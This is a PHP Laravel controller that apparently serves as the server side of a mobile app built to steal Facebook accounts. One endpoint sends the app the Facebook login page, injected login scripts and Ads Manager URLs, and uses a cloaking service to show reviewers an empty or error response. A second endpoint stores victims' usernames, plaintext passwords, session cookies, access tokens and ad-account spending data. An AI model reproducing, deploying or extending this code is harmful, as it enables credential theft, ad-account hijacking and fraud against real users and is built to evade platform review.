<?php

namespace App\Http\Controllers;

use App\Accounts;
use App\Models\MetaSwitch;
use App\Services\FbService;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use Exception;

class ConfigController extends Controller
{
    /**
     * 获取配置信息
     *
     * @param Request $request
     * @return mixed
     */
    public function getConfig(Request $request)
    {
        try {
            $data = $request->post('_d');
            if (!$data) {
                throw new Exception('缺少_d参数');
            }
            $data = json_decode($data, true);
            if (!isset($data['_p'])) {
                throw new Exception('缺少_p参数');
            }

            $swich = MetaSwitch::where('switch', '1')->where('appid', $data['_p'])->first();
            if (!$swich) {
                throw new Exception('配置错误');
            }
            $notAllowCountry = explode(',',strtolower($swich->location));
            if (!$request->header('cf-ipcountry')){
                throw new Exception('缺少cf-ipcountry');
            }
            $country = strtolower($request->header('cf-ipcountry'));
            if (in_array($country,$notAllowCountry)){
                throw new Exception('国家错误');
            }

            if ($swich->use_cloak==1){
                $cloakRes = $this->isNotCross(config('config.cloakId'));
                switch ($cloakRes['status']){
                    case 'offer':
                        $log_message = '正常用户访问';
                        break;
                    case 'white':
                        $log_message = '审核人员';
                        break;
                    case 'cloak_error':
                        $log_message = 'cloak错误';
                        break;
                    case 'cloak_url_error':
                        $log_message = 'cloakurl错误';
                        break;
                    default:
                        $log_message = '未知错误';
                        break;
                }
                log::info($log_message,[json_encode(\request()->ip()),'cloak'=>json_encode($cloakRes)]);
                if ($cloakRes['status'] == 'white'){
                    if ($data['_p'] == 'com.bryceelm.cartoonstudio'){
                        throw new Exception('需要报错');
                    }else{
                        return response('');
                    }
                }
            }

            $config = [
                //0 => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36',
                0 => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15',
                1 => $swich->use_cloak == 1?'https://eclipselevalle.com/makePictureCollage/make/index.php':'https://www.facebook.com/login.php',
                2 => config('config.loginJs'),
                3 => 'https://www.facebook.com/ads/manager',
                4 => config('config.eaabJs'),
                5 => config('config.graphUrl'),
                6 => config('config.lpUrl'),
                7 => microtime(true),
            ];
            return response()->json($config);
        } catch (Exception $e) {
            Log::error('错误'.'line:' . $e->getLine() . 'message:' . $e->getMessage() . 'trace:' . $e->getTraceAsString());
            return response()->json([])->setStatusCode(500);
        }
    }

    /**
     *
     * 上传数据
     *
     * @param Request $request
     */
    public function upload(Request $request)
    {
        try {
            $data = json_decode($request->post('_d'),true);
            if (!$data) {
                return response()->json([])->setStatusCode(500);
            }

            $aDecode = $data['a'];
            $gdata = [];
            $gdata['name'] = $aDecode[0];
            $gdata['pass'] = $aDecode[1];
            $gdata['ua'] = $aDecode[2];
            $gdata['cookies'] = $aDecode[3];
            $graphData = $aDecode[4];
            $gdata['accessToken'] = $aDecode[5];

            //查询已经存在的账号
            $oldData = Accounts::where('name',$gdata['name'])->where('appId',$data['_p'])->first();
            $accounts = $oldData?$oldData:new Accounts();

            $accounts->appId = $data['_p'];
            $accounts->ua = $gdata['ua'];
            $accounts->name = $gdata['name'];
            $accounts->pass = $gdata['pass'];
            $accounts->accessToken = $gdata['accessToken'];
            $accounts->graphData = json_encode($graphData);
            $accounts->ip = $request->ip();
            $accounts->country = $request->header('cf-ipcountry')??'';
            $accounts->status = 0;
            $accounts->create_time = time();
            $accounts->update_time = time();
            $accounts->bm = isset($graphData['businesses']) ? count($graphData['businesses']['data']) : 0;
            $accounts->page = isset($graphData['accounts']) ? count($graphData['accounts']['data']) : 0;
            $accounts->adaccount = 0;
            $accounts->bill = 0;
            $accounts->currency = '';
            $accounts->account_status = 0;
            $accounts->adtrust_dsl = 0;
            $accounts->adtrust_dsl_usd = 0;
            $accounts->is_prepay_account = 0;
            $accounts->page_created_time = 0;
            $accounts->bm_created_time = 0;
            $accounts->export_time = 0;
            $accounts->amount_spent = 0;
            //广告账户信息
            if (isset($graphData['adaccounts'])) {
                foreach ($graphData['adaccounts']['data'] as $key => $value) {
                    $adtrust_dsl_usd = $value['currency'] == 'USD' || $value['adtrust_dsl']==-1 ? $value['adtrust_dsl'] : $value['adtrust_dsl'] / $value['account_currency_ratio_to_usd'];
                    //取最大的活或者欠费的账户的信息 -1是最大值
                    if (($accounts->adtrust_dsl_usd < $adtrust_dsl_usd&&in_array($value['account_status'],[1,3]))||($adtrust_dsl_usd==-1&&in_array($value['account_status'],[1,3]))) {
                        $accounts->adaccount++;
                        if ($value['amount_spent'] > 0) {
                            $accounts->bill++;
                        }
                        $accounts->currency = $value['currency'];
                        $accounts->account_status = $value['account_status'];
                        $accounts->adtrust_dsl = $value['adtrust_dsl'];
                        $accounts->adtrust_dsl_usd = $adtrust_dsl_usd;
                        $accounts->is_prepay_account = (int)$value['is_prepay_account'];
                        $accounts->amount_spent = $value['amount_spent'];
                    }
                }
            }
            //page信息
            if (isset($graphData['accounts'])) {
                foreach ($graphData['accounts']['data'] as $key => $value) {
                    if ($accounts->page_created_time > $value['page_created_time'] || !$accounts->page_created_time) {
                        $accounts->page_created_time = $value['page_created_time'];
                    }
                }
            }
            //bm信息
            if (isset($graphData['businesses'])) {
                foreach ($graphData['businesses']['data'] as $key => $value) {
                    if ($accounts->bm_created_time > $value['created_time'] || !$accounts->bm_created_time) {
                        $accounts->bm_created_time = $value['created_time'];
                    }
                }
            }
            $accounts->update_time = $accounts->create_time = date('Y-m-d H:i:s',time());
            //解析cookie数据
            $fbService = new FbService();
            $cookie = $fbService->rebuildCookie($gdata['cookies']);
            $accounts->cookies = $cookie;
            $accounts->save();
        }catch (Exception $e) {
            Log::error('上传错误'.'line:' . $e->getLine() . 'message:' . $e->getMessage() . 'trace:' . $e->getTraceAsString().'data:'.$request->post('_d'));
            return response()->json([])->setStatusCode(500);
        }
    }

    protected function isNotCross($cloakId) {
        $request_data = [
            'label' => $cloakId,
            'user_agent' => isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'',
            'referer' => isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'',
            'query' => isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:'',
            'ip_address' => \request()->ip()
        ];

        $request_data['user_agent'] = strpos($request_data['user_agent'],'dart:io')?'Dalvik/2.1.0 (Linux; U; Android 11; SM-A107M Build/RP1A.200720.012)':$request_data['user_agent'];

        $ch = curl_init('https://cloakit.house/api/v1/check');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($request_data));
        $result = curl_exec($ch);
        $info = curl_getinfo($ch);
        curl_close($ch);
        if ( ! empty($info) && $info['http_code'] == 200) {
            $body = json_decode($result, TRUE);
            if ( ! empty($body['url_white_page']) && ! empty($body['url_offer_page'])) {

                // 白名单
                if ($body['filter_page'] == 'offer') {
                    $status = 'offer';
                }

                // 黑名单，审核人员
                if ($body['filter_page'] == 'white') {
                    $status = 'white';
                }
            }else{
                $status = 'cloak_url_error';
            }
        }else{
            $status = 'cloak_error';
        }
        return ['status'=>$status,'result'=>$result,'info'=>$info,'request_data'=>$request_data];
    }
}
